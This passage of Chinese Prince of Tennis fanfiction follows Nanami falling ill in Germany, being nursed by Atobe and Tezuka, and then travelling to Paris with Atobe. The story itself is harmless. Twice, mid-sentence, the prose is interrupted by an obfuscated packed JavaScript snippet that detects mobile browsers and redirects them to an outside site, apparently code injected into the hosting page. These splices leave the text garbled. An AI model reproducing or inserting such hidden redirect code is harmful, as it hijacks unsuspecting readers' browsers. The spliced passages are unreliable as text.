“昨天,我和你哥哥打了一场比赛。” 越前龙马难得震惊了几秒,瞳孔微张:“结果呢?” “很遗憾的是没打完,所以没结果。”七海耸了耸肩。 “切~无聊。”少年转头看向并不是很想认的自家哥哥,“你,什么时候和我打比赛。” “这个嘛,小不点,再等等吧。”越前龙雅笑得轻慢,笑意却不达眼底。 七海心中微动,越前龙雅,他拒绝了和越前的比赛,也就是说......她瞟了一眼橘子少年,他似乎注意到了她的视线,回了一个有点狠厉的眼神。 什么嘛......她还什么都没说,凶她干嘛。 “幸村前辈,全国大赛输给了你,真想和你再打一场啊。”再次被拒绝,越前龙马将视线又移向了坐在七海身边的幸村精市。 七海黑线,打球瘾很大啊,越前。 “越前君,我也很期待在世界杯上和你打一场。”幸村精市笑得温和,他还记得越前龙马那天接住了平等院的那一记发光球,甚至反击回去,这个孩子是值得再次一战的对手。 “唉,不说这个了,精市,我们先看看机票吧。”七海掏出手机。 “二阶堂学姐,幸村前辈,你们要回去了吗?” “嗯,我要回德国,精市要回关岛合宿。” “德国?”越前龙马呆了呆。 “嗯,我在合宿结束前都会待在欧洲。”她忘了,越前龙马被逐出合宿了,好像并不知道她去德国的事。 越前龙马不知道在想什么,瞟了一眼面色如常正在帮着七海订飞机票的幸村精市,又将视线挪回,压了压帽檐:“二阶堂学姐,你是为了去见手冢部长吗?” 幸村精市置若罔闻,完全没有对这个问题做出反应。 “是,但不主要是。顺便一说,我现在是德国队的顾问了哦,越前。” “诶,很厉害嘛,二阶堂学姐。” “同时还是瑞士队的顾问,现在还多了个西班牙队的顾问身份。”她狡黠一笑。 “西班牙?”越前龙雅突然插嘴。这个女人居然当上了西班牙队的顾问?西班牙可是有那个人在,老头子到底在想什么。 “嗯,是越前前辈让我选的,美国和西班牙二选一,我就选了西班牙。” 不知为何,她说完这句话,越前龙雅的表情变得微妙起来,一副要笑不笑的样子。 “老爸?话说回来,二阶堂学姐,你昨天找老爸是有什么事吗?” 七海不自觉将视线上移,再次和沙发边站着的越前龙雅对视了一眼,“这个嘛......先保密。”看来现在的越前还不知道自己哥哥的吞噬能力,否则以他的正义感,大概也会像她那样去挑战他。 “二阶堂学姐,你真是个浑身秘密的人。”越前龙马吐槽得很认真。 “啊哈哈,是吗。”七海讪笑,你哥哥也是个浑身秘密的人啊,越前。 95.第 95 章 “哇,好冷。”一下飞机,七海就伸手紧了紧自己从德国到瑞士到美国唯一带着的一件大衣。她明显地感受到纽约和洛杉矶和慕尼黑这三个地方的温差之大。纽约是冷,洛杉矶是温,而慕尼黑是冷死个人。 昨日,和越前龙雅交换了手机号码,又与越前龙马和莱因哈特道别,七海与幸村精市两人终于分别坐上了返程的飞机。 打了个uber回到民宿又将暖气打开,七海几乎要被寒风吹坏的脑袋才慢慢解冻。 已是十二月中旬,距离圣诞节不过一周时间,她坐在车上时,透过窗玻璃就已看到街道上随处可见的圣诞装饰。门框上装饰着的圣诞拉花和槲寄生,窗沿和建筑之间串联的彩灯,以及隔几步就能看见的圣诞树,无一不在昭示着圣诞将至。 德国的圣诞节应该很热闹吧,听说不同城市有各自特色的圣诞集市。只是那时候,她也不知道自己会在哪里,明天复查完就该去法国了。 七海的心底涌起一阵疲倦,去厨房给自己随便煮了点面囫囵吞下,简单冲了个澡,她直接钻进被窝里昏昏沉沉睡去。 连日不倒时差的奔波加上不同地区变来变去的气温,一觉睡醒时,她毫不意外地病倒了。 “呜......”头痛欲裂,浑身每个关节都酸痛异常,冲击着她残存的意识,走一步路都像是要散架了。身边没有体温计,但她确信自己应该是发烧了。 116117也打不通,勉强走到门口的这几步,她的衣襟和后背就已经被冷汗湿透,七海立时放弃了靠自己走出门买药这件事,否则她就等着晕倒在大街上被人送医院吧,德国救护车那么贵,她可付不起...... 回到床边拿起手机,她又犹豫了。 在德国能联系上的人不过那几个,赛琳娜是斋藤的朋友,与她并不熟,而且她似乎挺忙的,经常要去其他国家开会义诊,她不想麻烦她。格雷特也只不过见过一次面,雷特鲁教练或是德国队的那群少年就更不必说了...... 她好像只能联系他了。 七海也不知道自己此刻在倔什么,明明身体要紧,可是她就是不想给他打电话。好气,不想被迫只能依靠他,可是该怪谁呢,也怪不了谁......不,她可以怪一个人,他居然爽约! 她大约是烧糊涂了,忘了圣诞还有一周,直接给他发去了短讯。 【12:20 to迹部景吾:我讨厌你】 【12:20来电显示:迹部景吾】 “摩西摩西......”她哑着嗓子有气无力地接起电话。 “二阶堂,你突然讨厌我干什么,啊恩?” “呜......迹部景吾你这个骗子,还说圣诞节要来找我。”她听起来委屈极了。 “你的声音怎么了,生病了吗?”话筒那一头听出不对劲,声音紧张起来。 “骗子,圣诞节根本没出现......”她反反复复嘟囔着差不多的话。 迹部景吾把音量又抬高了一些:“你在哪里,二阶堂!” “德国.......” “离圣诞节还有一周。二阶堂,你是生病了还是醉酒了?” “我真的好难过,斋藤这群混蛋把我一个人......” “又不想找他......要死了......” “......好累,不想当神了......”在这个世界她活得太辛苦,太累了。她也想过放弃抗争,可是目睹了鲜血飞溅,听闻了前辈负伤退场,她实在没法做到明明有能力却不管不顾。 七海越说越委屈越说越伤心,眼泪一个劲顺着滚烫发红的脸颊滑落,本就头昏脑涨再加上心绪一乱,她的语序越发混乱起来。 到最后演化成了抽噎着胡言乱语,甚至蹦出了中文,“好难受......妈妈......我想回家......” 母语是随身的故乡,她只是想家了。 迹部景吾毕竟是掌握多国语言的学霸,如此简单的中文还是一下就能听明白的。现在是关岛时间晚上八点半,他毫不犹豫地打了通电话让山下派私人飞机开到关岛的飞机场。 关岛的日照很长,即使到了夜晚夕阳也只不过是将将西垂的模样。 为世界杯比赛而训练着的少年们水足饭饱,坐在沙滩上闲聊着,突然,一阵急促的脚步声由远及近传来。 “三船教练,你们把二阶堂那个笨蛋扔德国哪里了。”迹部景吾本来在窗边喝着红茶,被一通电话吓得直接跑到了沙滩边,找到了那个抓着酒葫芦正和黑部由起夫闲聊着的三船入道。 他现在很不爽,这群大叔把她一个人扔欧洲去,现在搞得人不知道怎么了。手冢这个家伙,他要是早就在她身边也就罢了,既然她不想找他,他不会再给他机会。 幸村精市已经回到了合宿地,闻言皱眉:“七海怎么了?”明明昨天在机场时人还好好的。 切原赤也也问:“公主殿下怎么了?她不是前天还在美国吗?” 忍足侑士神色难辨,扶了扶眼镜重复了最后两个字:“美国?” 这句话一出,立海大以外的一些人的表情颇有些精彩纷呈。 他们只知道她要去德国交流学习,却不知道她中途还去了一趟美国。不过,这个时间和幸村精市的手术重合在了一起,因而,他们又都清楚了,她为什么会去美国。 而迹部景吾那边,本就算不上好的心情在切原赤也的一句话后脸上更添愠色,他冷笑:“和你没关系,幸村。” 过于不客气的一声驳斥,幸村精市的表情立时冷了几分。 不知内情的高中生们向初中生们打听起来,这才窥见了些许关于那位二阶堂教练和这三位部长之间的“爱恨情仇”。 远山金太郎似乎对自己说出的话里的问题毫无觉察:“白石,漂亮姐姐是部长,另外三个人也是部长,你不也是吗?” 幸村精市和迹部景吾听到这句话纷纷将视线移向白石藏之介,至于白石藏之介本人——他尴尬地笑了笑顺手捂住了小金的嘴,小金一阵挣扎。 “白石唔——你不喜欢唔漂亮姐姐吗!”小金大约还没有到明白男女之情的时候,他的喜欢十分单纯。 白石藏之介愣了愣,他还真的从没想过这样的事,二阶堂人是挺不错的,只是和那三个人争......另两人见他沉思的模样面色又微妙了些许。 高中生那边,越知月光面色不变心下却有几分意外,没想到自己的这位继任部长居然喜欢的是那位天才教练,种岛修二神秘兮兮地笑着,只有平等院凤凰在一旁臭着脸冷哼了一声,不知道在想什么。 斋藤至和黑部、拓植进行了短暂地眼神交流,脸上都挂上了无奈。果然,他们不让她去,她自己也想办法去了。 “小七海怎么了?”斋藤至慢悠悠地从躺椅上坐了起来。 迹部景吾咬牙:“那个笨蛋不知道是生病了还是喝醉了,身边没有人。” “她在德国的住址在哪里,你们应该知道吧。”他转身看向教练三人组。 “啊呀,这个我要问下赛琳娜。”民宿是他麻烦赛琳娜帮忙订的,斋藤至很快打了一个电话,只不过不知为何,电话另一头并没有人接听。 幸村精市语气焦急:“她可能是生病了,她从瑞士飞到纽约又去了洛杉矶,这一路上气温变化很大。” 此言一出,众人沉默了须臾。怎么又是德国又是瑞士又是美国的,他们的教练,到底在干什么...... 平等院凤凰的脸又黑了一个度,他可没见过飞几趟飞机就生病的神,二阶堂这个蠢货。 大石秀一郎也急:“七海怎么又去瑞士了啊?” 三位数据组成员坐在一起交流了一阵,乾贞治开口了:“目前没有相应的数据,但教练组和平等院君、幸村、迹部知道内情的概率为100%。” 平等院决定当解说员尽快结束这些无聊的讨论:“那个蠢货去第一梯队的四个欧洲国家的职网协会踢馆了,不然你们以为那些数据是从哪里来的。至于去美国,呵。” Duke:“老大,我还以为是你以前踢馆的时候收集的。” 仁王雅治旁听到现在,插了一嘴:“为什么不问问手冢呢,噗哩。从关岛过去德国似乎要飞很久,现在还是确认她的安全最重要呐。” 仁王的话不无道理,迹部景吾站在沙滩上左右踱步,终于恨恨然下定决心,拨通了一个电话。 ...... “手冢,你知道二阶堂住在德国哪里吗?” “......你现在过去看看她怎么回事,本大爷明天到。”呵,他果然知道。 --------------------- 七海觉得她大概要死了,烧得整个人像是一会儿被扔进了冰河里冻着,一会儿被架在火上烤着灼烧着。 原本关节的疼痛似乎已经蔓延到了全身的每个细胞,痛得她想将血肉剥离,或是将四肢躯干一锤头敲散,如此才可结束这场折磨。 她只能躺在床上蜷缩成一团,闭着眼无意识地闷哼着。 这样半死不活的状态不知道维持了多久,她隐隐约约听到门外传来敲门声音,消失又出现,接着,房间里有些模糊的动静,自己的身体好像被人摆弄着,嘴巴还被掰开了。 可不能缓解疼痛的东西她都浑不在意了,只一次又一次快要从混沌中抽离又被拽回了混沌无序,彩色的,黑白的,明亮的,枯萎的,升起又沉没。 当骇浪与烈火的攻势逐渐转弱,她这才幽幽地睁开了双眼。 能看到的是米白色的天花板,灯,是租的公寓的灯,她浑身酸软,手肘撑着床垫想坐起,眼前的一幕让她差点以为自己来到了地狱—— 毕竟修罗场也被称做修罗地狱。 为什么这两个人都在,她是在做梦吗......七海想她还是昏死过去算了,她软下身再度闭眼,确实又一次昏睡了过去。 第二次醒来时,大脑终于清醒了不少。 “......”她发现她失声了,或者说只能发出气音,喉咙疼得像吞了刀片,连咽口水都痛得要命。生病,果真是比这个世界降下的惩罚还可怕的东西。 “二阶堂,你感觉怎么样?”原本坐在沙发上紧蹙着眉的少年听到动静冲到了床边,她的瞳孔瞬间放大了一圈,看来之前的苏醒不是梦,是真的,他来了。 七海有些着急地张了张嘴,再次意识到确实是说不出话后,慌乱爬上了她泛红而疲倦的脸。 思索了几秒,她心下一动,拿起床头的手机开始在备忘录上打字。 她的手也没什么力气,手机刚握在手上就一不小心滚到了被子上,她再次抓起手机,一个字一个字地按着。 【我说不出话了......】 只是打完这几个字,不知道为何,她的泪水一滴一滴涌出眼眶落了下来。 似乎只有生病的时候,她才能放任自己回归这具只有十五岁的身体与灵魂。难受、委屈、不安、恐慌......这些负面情绪在自己能够信任的人面前被无限放大,曝露。 手机从手上脱落滑到了被子上,被少年拿起看了一眼。 “唉。”即使是向来自信睥睨的帝王,也会有无可奈何叹气的时候。 迹部景吾用指关节一下下地拭去少女脸上的泪珠,将她额前的碎发撩到两边,眼底溢满温柔,七海为着这过分外显的温柔呆愣在了床上。 “二阶堂,你真是不知道让我该怎么办好了。” “你会没事的。本大爷在德国有门路,已经请了家庭医生上门给你看过了。他给你开了处方,手冢已经帮你去药店买药了,吃了消炎药慢慢会好起来的。”他耐心地、一句一句地安慰着。 她的泪水又开始往外流了。 他太好了,他们都太好了,可是她该怎么办呢。 “别哭了,二阶堂。”他的耐心不减,他认命了。 七海吸了吸鼻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12884876|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,狠狠深呼吸了几下,拿起被子上的手机,又垂着头打起了字。 【对不起。你过来了,合宿怎么办?】 她咬着唇,抬眸时眼睛湿漉漉的,可怜巴巴的样子让坐在她身前的少年有点心痒,她将手机递给迹部景吾,他瞟了一眼。 “几天而已,本大爷不差这几天。你不是还怪我不陪你过圣诞,本大爷这不是来陪你过圣诞了吗,啊恩?”他轻笑起来,眼下的泪痣越发醒目。 七海的心里说不上是感动还是愧疚抑或皆有之,只觉得自己快要被眼前的人的温柔彻底包裹,淹没。 【消炎药在哪里,我要吃】她想快点好起来。 迹部景吾的表情变得有些微妙:“手冢帮你去买了,他很快就回来。” 话音刚落,开门声响起,果真是他回来了。 手冢国光见床上的少女已经转醒坐起,将药盒和像是装着生鲜食品的一个大袋子放到门口的矮柜上,径直走向床边:“七海,你醒了,感觉怎么样?” 七海看着床前一坐一立两张关切的帅脸,下意识伸出双手捂住了脸。脑海中思绪纷杂—— 首先,她不能再哭了,很丢脸。其次,她有些难以想象这两个人都在的这几天她该怎么应对。最后,她现在就觉得自己已经没脸见人了。 她如今彻底清醒了,她想自己必然是极其狼狈的模样。汗不知道出了多少回,身上的睡裙恐怕早就被汗浸湿又干透再浸湿,头发大概也都打绺了,脸色想必也不怎么好看...... 他们那么光鲜亮丽,而她,她就像无家可归的小狗,在野外淋了雨,狼狈地被捡了回来。 “手冢,她现在说不了话。”迹部景吾的语气生硬,“先让她吃药吧。” “啊。”手冢国光扶了扶眼镜,去厨房接了杯水,将矮柜上的抗生素抠出来一片,快步走到床边蹲下。 他们并没看懂她捂着脸做什么,不过不妨碍他行动。 “七海,先吃药。” 顺着这道声音,七海放下了捂脸的手,脸上的表情一言难尽,要哭不哭要笑不笑的。她乖顺地接过了手冢国光手里的药和水,就水送服,吞咽的疼痛感害得她皱眉不止。 少年见她吃完了,十分自然地接过了她手中的水杯放到了床头柜上。 七海又忙不迭地拿起手机开始敲字,随即将手机递给手冢国光。 【国光,你的训练怎么办?】她知道德国队除了吃饭睡觉就是训练,可他为了她的事,不知道耽误了多少时间。 手冢国光沉默了几秒。昨天,他和雷特鲁教练请假时,虽然雷特鲁满脸笑意地批准了,他也瞥见了博格微微皱眉的表情。 博格显而易见地不赞同他在U17世界杯前这个重要的时刻为了私事而请假缺席。他也清楚,这次世界杯比赛关系到自己能否签约赞助,往职网迈进一步。 但是......他不可能放任她不管,他也并不想她和迹部两个人在一起。 这种情绪他并不陌生。 国中三年,其他人给她送情人节巧克力时; 在德国疗养院,她满心满眼只想着别人时; 烤肉派对后,她站在路口被别人拉走时; 全国大赛总决赛最后一场,外人抱了她时; 海原祭舞会上,她和其他人在追光中跳舞时; 更别提天台上他人仿佛宣誓主权般的那一吻; 以及今天,他明明离她更近,却从迹部口中得知她生病的消息,她烧得让他害怕,她却没有第一个联系他。 过去他总是习惯了隐忍,习惯了以大局为重,他也不在意那个其他人具体是谁。现在直面内心,他很清楚,那股情绪的名字叫...... “嫉妒”。 缺失的训练,他会在以后加倍补上。 “七海,不用担心,我请假了。” 【博格不会生气吗?用不用我打电话和他们】还没打完字,她想起来自己现在的状况根本打不了电话,七海将后半句删了,继续按键盘,突然,一条新的短讯跳了出来。 【17:25 幸村精市:七海,身体好些了吗?看到回我短讯】 顺着这条短讯往上翻,她这才发现原来前面幸村精市还发了好几条类似的短讯,他......是怎么知道的? 【17:28 to幸村精市:精市,我好多了,不用担心】 【来电显示:幸村精市】 七海愣愣地看着手机屏幕上的来电显示,她没法接这个电话,她说不了话,她不想再多一个人为她担心了。 床前的两位少年注视着她不知道在写什么,然后又愣住的模样,直到来电显示占据了整个屏幕,他们才得以瞥见屏幕上的名字。 迹部景吾拿过手机径直接起了电话: “幸村,你不用担心,本大爷在照顾她。” “......她现在接不了电话,嗓子哑了。” “等她身体好了,本大爷再让她联系你。”电话被挂断。 另一头的幸村精市表情冷得不能再冷,甚至连隔着一道墙睡在他隔壁的白石藏之介都感受到了一股危险的凉意,一时间从睡梦中醒来,揉了揉眼睛。 手冢国光拿起床头的体温计,再次测了一下少女的额温。 “37度8,低了不少。七海,你好好休息一下,我们去给你做饭。” 他接完电话赶到她家发现她发高烧,赶忙去附近的药房买了体温计。终于测出体温时,她已经烧到了39度5。 没有处方买不到消炎药,他只能挨个问他的队友们,到最后,迫不得已向迹部求助,他倒是有办法,一下飞机就请到医生上门,很爽快地开了处方。 “不舒服就打电话,本大爷会看到的。” 两道高大身影就这么捎上矮柜上的一袋子食物,钻进了那间狭小的厨房。 七海的眼底酸意无法遏制地上涌,她何德何能让这两个人给她做饭...... 96.第 96 章 七海坐在床上,再次翻开手机,滑动短讯界面,发现出现了几条意想不到的内容。 【15:20 QP:二阶堂教练,你没事吗?】 七海眼中闪过一丝讶异,没想到QP会突然关心她,不过想来也是,手冢突然请假,现在他们大概都知道他是为了她了,塞弗里德肯定在背后说她坏话。 【17:30 to QP:我没事,抱歉,我会让国光尽快回来参加训练的】 【17:32 QP:身体要紧,国光的事你不必挂怀】 回了句谢谢后,七海继续往下翻。 【13:28 毛利寿三郎:小七海,你还好吗?冰帝的迹部君坐私人飞机去看你了呐】 【17:33 to毛利寿三郎:毛利学长,我好多了,谢谢你的关心】 【17:34 毛利寿三郎:那就好,顺便一说,幸村没有来是被迹部拒绝了,不是他不想来。】 【17:35 to毛利寿三郎:精市刚做完手术,麻烦你们多照顾了】 【17:36 毛利寿三郎:应该的,小七海,我听种岛说你把这两个部长都拒绝了?】 这怎么又和种岛修二扯上关系了......难道就因为她剃了他一次光头吗= = 【17:38 to毛利寿三郎:毛利学长,你好八卦】 【17:38 毛利寿三郎:哈哈,也不是啦,我是想问,既然你都不喜欢他们,要不要和我在一起呀?】 【17:39 to毛利寿三郎:毛利学长,不要开这种玩笑】 【17:39 毛利寿三郎:不是开玩笑哦,小七海,我会等你升到高中部的^^】 七海沉默着没有再回复毛利寿三郎消息,转而看向另一条。 【12:58 入江奏多:你们和好了?】 【17:42 to入江奏多:入江,我才发现原来你也这么八卦】 下一条吧,七海叹气。 【12:55 平等院凤凰:二阶堂,死了没】 【17:43 to平等院凤凰:要让你失望了,没死成】 还是回这个男人的短讯最容易。另外又一一回复了周助侑士等人的问候,七海这才从手机中挣扎出来。从厨房里飘出来的香气吸引了她的注意,似乎是黄油的香味。 七海的脑海中忽然浮现出一句甚至有些押韵的话: 古有双部之战,今有双部烧菜。 暗自吐槽一会儿着自己毫无文采的对子,趁着那两个人烧饭的功夫,她偷偷跑去浴室洗了个澡。她知道还没彻底退烧就洗澡不好,只是她实在不想顶着一身的汗......和他们坐在一起。 等她洗完澡换上蓝粉格纯棉的居家服出来时,饭菜似乎也快烧好了。 他们还在厨房里忙活着,七海站在餐桌边端详起桌上两边泾渭分明的菜肴。 左边是日式料理,她十分确信是出自手冢国光之手——三份摆放得整整齐齐的清炖鱼块,三碗蔬菜菌菇味增汤,甚至还有三碟分好的玉子烧。 民宿里没有做玉子烧的方型煎锅,也不知道他是怎么做到的。 德国的超市很难买到日本大米,餐桌上这碗粥,大约是她上次去超市看到的圆粒米做的吧。 另一边的西餐必然是迹部景吾做的了。出乎她的意料,她料想他喜欢吃牛肉,该煎个牛排什么的,他却做了约克郡布丁和蔬菜炖肉,都是经典的英式家庭料理。 她本以为,像迹部景吾这样的人,应当是十指不沾阳春水,像做饭这样的事根本不需要亲力亲为,可是无论是上次的烤肉派对还是今天,她能看出,他是个会做饭懂做饭的人。 到底什么样的场合才需要他亲自做饭呢......七海的思绪飘飞,她指的当然不是今天,而是,他的过去。 她发现她并不了解他,即使住在那间公寓里,她确实因此得知了许多关于他的信息。 “二阶堂,吃饭了。”&“七海,吃饭了。” 两道声音同时从厨房里传出来,七海乖巧地坐在餐桌边等着他们入座。 手冢国光在位置上坐下,发现她换了一身睡衣,眉头微蹙:“七海,你洗澡了吗?” 七海讷讷地点了点头。 “你还在发烧,不该洗澡的。”她被不轻不重地训斥了一句。 七海张了张嘴,又想起了自己现在说不了话,喉咙还痛得要死,神情立时委屈起来,手冢国光见状,只得在心中叹了口气,他拿她无可奈何。 “二阶堂,你该不会是不好意思了吧,啊恩?”迹部景吾坐在另一侧似笑非笑地问道,目光紧紧跟随着她的表情变化。 她想她脸上现在应该是表现出了十足的羞恼,否则两边的人不会露出那样的无奈神色。她决定不能再因为失声而受钳制了,她要夺回她的话语权! 于是两人眼看着她猛地起身去床边把手机拿了过来,又垂着头在备忘录上敲起字。 【吃饭!】少女拿起屏幕在餐桌上展示了一圈,硬是忍着喉咙痛闷头苦吃起来。 也因此她错过了一人脸上堪称宠溺的笑意以及另一人微微勾起的唇角。不过这倒也没什么,因为紧接着,她所畏惧的一些场面出现了。 “七海,你病还没好,多吃点清淡的。”手冢国光默默地将自己盘里的玉子烧夹了一块到她的盘子里。 “要恢复体力,当然该多吃点肉,啊恩?”迹部景吾给她盛了一碗蔬菜炖肉。 她的下意识反应——拿起手机开始敲字。 【我都会吃的】将信息展示后,她认命地一口玉子烧一口蔬菜炖肉地端起水来。两碗水端不端得平也只能端了,端吧,谁能有她会端呢。 她答应不了任何一个人,也没有办法狠心与任何一个人老死不相往来般绝交。她只能端水了。 迹部不再多言,他的视线如今 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897837|132092||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在另一处——她的脖颈,她的脖子上坠着两条项链,是合宿结束后才出现的。以他的洞察力,他无需苦思冥想便猜出来这两条项链的赠与者大概是谁。 他勾了勾唇,他会给她更好的,不,是最好的。 ...... 吃完饭,那两人又无视她的自告奋勇主动去洗了碗,七海想了想,继续在手机上敲字。 【国光,这里有景吾在】啊这么打好像不行,万一让他误会了。 【国光,你回去训练吧,我的烧已经退得差不多了,你不用担心,这是我作为你的顾问的命令!】就这样吧。 七海走到厨房门口,戳了戳少年的胳膊,将屏幕展示给他看,一旁的迹部景吾停下了手上的动作。 还没等手冢国光开口回应,她又收回手机敲了会儿字。 【我不希望你因为我的病错过重要的训练,这次世界杯关系到你的签约,如果我害得你签约不了,我会很愧疚的。所以你回去吧。】 她将屏幕展示给他看,后方随即响起了一道漫不经心的声音“手冢,你就回去训练吧,她有本大爷看着。” 七海跟着这道声音认真地点了点头,又点了点屏幕上的顾问的命令五个字。 金边眼镜下的丹凤眼中难得闪过一丝迟疑,看到她担心他的签约,他心下一暖。 但是...... “手冢,你在犹豫什么,啊恩?”他嗤笑一声,“你放心吧,本大爷不会趁人之危。” 七海很想反驳,不,你会。然而这个时候,她似乎不该反驳,她一反驳,他大概更加不愿意走了。她便只沉默地望着他,再一次点了点头。 国光,那才是你该选择的路,而不是,我。她的眼中闪过一丝黯然。 “七海,世界杯我会取得胜利。”手冢国光目不转睛地凝视着她,语气沉静。 他旁若无人地轻吻了她一下,离去。 七海的眼睛霎时间瞪得溜圆。这样会交叉感染的吧,而且......这里还有别人啊! 房间里现在只剩下了两个人,七海从震惊中缓和回来后继续忙不迭地敲字。 【不许亲我,会交叉感染】 一句话令迹部景吾脸上刚染上的愠色迅速消退,他面色微怔,随即身体轻颤,意味不明地低笑了几声。 “二阶堂,许他亲你,不允许我亲你,是担心我生病吗,啊恩?” 听罢前半句,她本以为他要说什么喜欢他不喜欢我之类让她没法回答的要命的话,这样自恋的话她反而能接受了,而且这么说他应该就不会做些逾矩的事,了吧。 于是她义正言辞地点了点头。 “本大爷身体好得很,不会生病。” 这一次,她终于迅速地反应过来他的言外之意,以迅雷不及掩耳之速捂住了嘴,一溜烟跑到床上用被子把自己盖了起来。 迹部景吾张扬的笑声隔着被子依然清晰可闻。 97.第 97 章 七海第二天醒来时,烧已经退得差不多,也逐渐可以发声了。只不过那声音,用破锣嗓子来形容也成了过誉,她最后决定还是闭嘴,等炎症彻底退下去再说。 昨晚,迹部景吾在陪她吃完晚饭后便回酒店睡觉了,只是今天一大早他又准时出现在了她的房门口。 七海和格雷特医生发了条短讯,先向他致歉自己的失约再说明了情况,还好对方并未介怀,只叮嘱她好好休息,复查可以改天再来。 幸村精市早上又发来了问候,词句中满是担忧和因为跑美国来陪他做手术而害得她生病的愧疚,七海又安抚了一番,这才看起去法国的机票。 时间紧迫,况且,她听说法国队的队长加缪开创了革命性的网球学习方法,有可能颠覆网球界,法国,她是非去打探不可的。 迹部景吾来了之后就见穿着居家服头发垂散着的少女坐回到沙发上捧着手机在那里疯狂敲字指指点点,丝毫没有要理他的意思。 他倒也不生气,直接坐到了边上,背靠着沙发好整以暇地等着她办完手头的事。 实际上,指针还没走满两圈时,七海就发完了短讯,她要去法国的事得和这两个人说一声,不然他们得跑空了。 【9:10 to手冢国光:国光,我接下来几天要去法国了,你好好训练】 他现在应该在训练,看不到短讯。七海关掉短讯界面,打开备忘录。 【景吾,我接下来要去法国了。】她照例把内容打在了备忘录上给他看。 “你的病刚好一点,怎么这么急着要去法国,啊恩?”迹部景吾皱了皱眉,这个笨蛋是把自己当陀螺在用吗。 【时间不够了,而且我也好得差不多了】 他皱着的眉依旧紧蹙着,点了点眼下的泪痣,要求脱口而出:“要去可以,本大爷陪你一起去。”她要是在法国丢了,可就真没人知道她在哪儿了。 其实她早就猜到他会这么说了,他恐怕也容不得她拒绝,罢了。况且,她也确实需要一个同声传译,所以...... 【好】 少年的双眉立时舒展开来,脸上露出满意的神色:“机票不用买了,本大爷的私人飞机还停在德国,坐我的飞机过去。” 少女抽了抽嘴角,埋头打字。 【万】七海尚未打完字,耳畔就响起了他调侃的调笑声,他已经把头凑了过来,双唇离她的左耳极近:“万恶的有钱人,二阶堂,你想这么说吧,啊恩?” 他还记得,他们第三次在训练中心相遇那天,她说的话。当时他是生气的,现在,以他们的关系,他知道她只是调侃。 温热的鼻息和呼气喷洒在她的耳廓和脖颈,痒痒的,红晕不顾她的阻拦爬上了脸颊。耳边充满磁性的声音继续着,只是音调愈发低沉,仿佛在蛊惑她:“和本大爷在一起,我的都是你的。” 七海此刻必须得承认,年度最令她心动的告白出现了......开玩笑的,她还不至于为了金钱出卖灵魂和□□。 她侧过头本想用眼神表达她的“富贵不能淫”,却不知他离她的脑袋这么近...... 两唇相擦的一瞬,一切都变得顺理成章起来。 “这次可是你主动的。” ———————— 坐在飞机上望着窗外,七海意识到或许她和他之间存在着某种守恒定律,即,每次她觉得自己躲过了一劫,下一劫就会不期而至。 总之,她决定在下飞机前不和他说话了,虽然她本来也说不了几句话,嗓子漏风漏得厉害,大概还得要一两天才能彻底恢复。 德国和法国的距离并不远,飞机靠近了,一眼便能俯瞰整个巴黎——阳光下,波光粼粼的塞纳河将城市分为左右两岸,巴黎铁塔高耸而上。 这就是,浪漫之都法国巴黎吗...... 七海抑制不住自己的发言欲望,掏出手机敲字。 【怎么比我想象的要一般】 或许是已经见过了瑞士的童话小镇和皑皑白雪下的阿尔卑斯山,见过了加州绚烂到令人想落泪的日落和璀璨迷人的洛杉矶夜景,白天的巴黎从高处俯瞰下去,并非不美,只是,和欧洲随处可见的小镇相比,好像也没有太大的不同。 迹部景吾看完她的留言,轻轻揉了揉她的头,耐心道:“巴黎的气质,需要实地体会,二阶堂。” “走吧,我们先去酒店。” 没飞多久,飞机便缓缓降落在了巴黎北部的Le Bourget机场,从伸缩扶梯上下来,他们往出口走去。 七海又在路上发起呆了。不是她的错觉,迹部景吾这几天,除了强吻她那一次,都很温柔。 不如说,太温柔了,她不怕他和她插科打诨,她最怕这样的温柔。 “想什么呢,啊恩?”身侧的提问将她的思绪收拢。 七海摇了摇头,两人坐上了早就停在机场航站楼外边等候的豪华轿车,一路驶向酒店。 她的法语只能算半吊子中的半吊子,勉强听着身旁的少年用着极其流利的法语与司机对话,隐隐约约能听懂几句,偶尔十分逞强地应和一句。 轿车在并不算多宽的大道上行驶着,随着车驶达门口,踏入酒店大门的一瞬,她便已经感受到了这家酒店的奢华,雕梁画栋镶金嵌银的装饰风格,贵奢之至。 沿着旋转楼梯上去,直到酒店管家为他们推开了房门,她又一次惊掉了下巴。 雕花与繁复线条刻画的墙面和天花板,镶着金边的复古家具,和他的公寓同色的酒红色丝绒沙发,繁中有序的法式美学并皇室的优雅高贵气质在这片空间中体现得淋漓尽致。 透过落地窗能够直接眺望旺多姆广场,餐车推入房中,侍者将精致的果盘和红茶摆放在窗边的餐桌上,他已要求酒店将所有甜点都换下,以免伤她的嗓子。 七海将身上的浅棕色大衣脱下放到了沙发上,再次仔细地打量。 二阶堂家充其量算个中产,不贫困也算不得富庶。她不是没有住过好的酒店,只是像这样豪华到堪比皇室宫殿的地方,她确实是第一次见。 那么理所当然的,她要做的第一件事自然是——打开手机查价格。 Hotel Ritz Paris......类似这样的房间,住一晚上要好几百万円...... 她的心中突然产生了一种之前未曾出现过的情绪:疑惑。 七海并不是一个妄自菲薄的人,她知道自己的优点,自卑这样的情绪是极少出现的。在某些方面,她和他是相似的自信张扬,刚强好胜。 